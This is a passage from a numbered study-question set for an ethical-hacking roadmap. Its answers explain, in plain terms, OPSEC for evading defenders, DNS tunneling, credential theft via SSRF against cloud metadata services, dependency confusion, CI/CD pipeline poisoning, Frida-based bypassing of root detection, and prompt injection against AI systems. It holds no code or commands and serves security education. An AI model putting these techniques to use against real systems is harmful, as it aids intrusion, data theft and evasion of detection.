172. What is OPSEC in a hacking engagement, and give one concrete example. Operational security — deliberately minimizing your footprint and avoiding actions that would tip off defenders; example: avoiding loud, obvious commands and understanding exactly what log entries your actions will generate before running them.

173. What is DNS tunneling, explained simply? Hiding data (commands or stolen information) inside what look like normal DNS queries, since DNS traffic is almost always allowed through firewalls — letting an attacker sneak data in or out undetected.

TIER 5 — Mobile, Cloud, DevSecOps, Binary Exploitation, IoT, AI (Q174– Q200)

174. What is an APK and what does it contain? Android Package — the installable file format for Android apps, containing the app's code, resources, and a Manifest file describing its permissions/components.

175. What is the AndroidManifest.xml file used for from a security testing perspective? It declares an app's permissions, components, and configuration — reviewing it reveals what sensitive access the app requests and potential attack surface (exported components, debug flags, etc.).

176. What does `jadx` do and why is it useful? Decompiles an Android APK back into readable Java-like source code, letting a tester review the app's logic without having the original source.

177. What is Frida used for in mobile security testing? A dynamic instrumentation tool that lets you hook into and modify an app's behavior *while it's running*, useful for bypassing checks (like root detection) or observing internal logic in real time.

178. Why is testing iOS apps typically described as needing a jailbroken device? Jailbreaking removes Apple's built-in restrictions, giving the tester the deep filesystem/process access needed to properly inspect and test the app, similar to what rooting provides on Android.

179. What is the OWASP Mobile Top 10, and why does it run "in parallel" with the web OWASP Top 10? A separate list of the most critical mobile app security risks — it runs alongside the web list because mobile apps have unique risks (like insecure local storage or improper platform usage) on top of many web-style vulnerabilities they may share via APIs.

180. What is the Shared Responsibility Model in cloud computing? The cloud provider secures the underlying infrastructure (physical servers, network); the customer is responsible for securing what they build/configure on top of it (data, access permissions, application code).

181. What is an S3 bucket and why is public exposure such a common real-world breach cause? An AWS cloud storage container; it's a common breach cause because a single misconfigured permission setting can accidentally make private company/customer data publicly downloadable by anyone on the internet.

182. What is cloud metadata service abuse, and why is SSRF the classic way into it? Cloud servers run an internal-only service holding temporary credentials/config for that instance; if an attacker can trick the server into an SSRF request to that internal address, they can steal those credentials and potentially control the whole cloud account.

183. What do tools like ScoutSuite and Prowler generally do? Automatically scan a cloud environment's configuration against security best practices and flag misconfigurations, similar to a vulnerability scanner but specifically for cloud settings.

184. What is Pacu? An AWS-specific exploitation framework used to actively test/exploit misconfigurations and weaknesses found in an AWS environment (not just scan for them).

185. What is a "Docker escape" concept? Exploiting a vulnerability or misconfiguration to break out of an isolated container and gain access to the underlying host machine it's running on.

186. What is Kubernetes RBAC and why does misconfiguration matter?

Role-Based Access Control — the system that defines what actions each user/service account can perform within a Kubernetes cluster; misconfiguring it can grant far more access than intended, similar to over-permissive IAM roles in the cloud.

187. What is an exposed kubelet API, and why is it dangerous?

The kubelet is the agent managing containers on each Kubernetes node; if its API is exposed without proper authentication, an attacker can directly control workloads on that node.

188. What do kube-hunter and kube-bench each do?

`kube-hunter` actively probes a Kubernetes cluster for exploitable weaknesses (like a mini pentest tool); `kube-bench` checks the cluster's configuration against the official CIS security benchmark.

189. What is a CI/CD pipeline, in plain terms, and why are attackers increasingly targeting it?

The automated system that builds, tests, and deploys software; attackers target it because compromising the pipeline itself means every piece of software it produces afterward can be silently poisoned — a much bigger payoff than attacking one finished product.

190. What is "poisoned pipeline execution"?

Manipulating a CI/CD pipeline's configuration or triggers so that malicious code runs automatically during the build process, often without needing direct access to the final application's code.

191. What is secrets scanning (tools like gitleaks/TruffleHog) and why is it such a common real finding?

Automatically scanning a codebase's current and historical files for accidentally committed sensitive data (API keys, passwords); it's common because developers frequently commit secrets by mistake and forget they remain in git history forever unless deliberately purged.

192. What is dependency confusion, explained simply?

Tricking a company's build system into downloading an attacker's malicious package instead of their intended internal one, by publishing a public package with the same name and a higher version number.

193. What is SAST vs DAST? SAST (Static Application Security Testing) analyzes source code without running it; DAST (Dynamic Application Security Testing) tests the running application from the outside, like a real attacker would.

194. What is a buffer overflow, explained without jargon? When a program writes more data into a fixed-size memory storage area than it was designed to hold, spilling over into adjacent memory — which can crash the program or, if crafted carefully, let an attacker hijack its execution.

195. What are ASLR, DEP, and stack canaries, at a concept level? Three modern defenses against buffer overflow-style attacks: ASLR randomizes where things sit in memory (hard to predict), DEP blocks code from running in memory regions meant only for data, and stack canaries place a "tripwire" value that gets checked before a function returns, catching overflow attempts.

196. What is fuzzing, and why does the roadmap say it's how most real memory-corruption bugs are found today? Automatically bombarding a program with huge amounts of random or malformed input to see what makes it crash; it's dominant today because it can explore far more edge cases, far faster, than a human manually reading code ever could.

197. What is the core security concern with IoT devices, in one sentence? Many IoT devices ship with weak default settings (default credentials, unencrypted firmware updates, exposed debug ports) because convenience and cost were prioritized over security.

198. What is prompt injection, and why is it called the "#1 risk" for LLM applications with no permanent fix? Feeding an AI system input designed to make it ignore its original instructions and do something unintended instead; it has no permanent fix because it exploits the fundamental way language models process all text as potentially valid instructions, not a specific patchable bug.

199. What is MITRE ATLAS? The equivalent of the MITRE ATT&CK framework, but specifically cataloging real-world adversarial attack techniques against AI/machine learning systems.

200. Looking at this entire roadmap, in your own words: why does becoming a well-rounded ethical hacker take years, not weeks? Because true competence requires genuinely understanding dozens of interconnected domains — networking, OS internals, web logic, cryptography, cloud architecture, and human psychology — deeply enough to *combine* them creatively against a real, unpredictable target, which is fundamentally different from memorizing isolated facts or running pre-built tools.

